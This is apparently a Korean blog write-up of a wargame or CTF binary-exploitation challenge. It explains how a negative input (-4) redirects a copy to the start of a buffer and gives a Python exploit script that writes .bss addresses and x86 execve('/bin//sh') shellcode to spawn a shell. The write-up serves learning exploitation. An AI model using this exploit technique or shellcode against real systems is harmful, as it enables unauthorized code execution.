환경 : ubuntu 13.10 / aslr,nx on
ida로 분석을 해보았다.
&dest+4+입력값이 복사되는위치인것 같은데, 만약 입력값을 -4로 한다면 &dest+4-4가 되어 &dest의 시작주소에 복사가 될것이다.
또한 저 vuln_function을 호출시 &dest의 주소는 이후 이중포인터로 호출되는데, 그렇다면 쉘코드를 .bss의주소인 0x080491e0에 넣어준다면 될것이다.
#!/usr/bin/python
from struct import *
p=lambda x:pack("<I",x)
s_addr=0x080491e0
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
payload=""
payload += "-4\n"
payload += p(s_addr+4)
payload += p(s_addr+8)
payload += shellcode
print payload
pwned!!
댓글 없음:
댓글 쓰기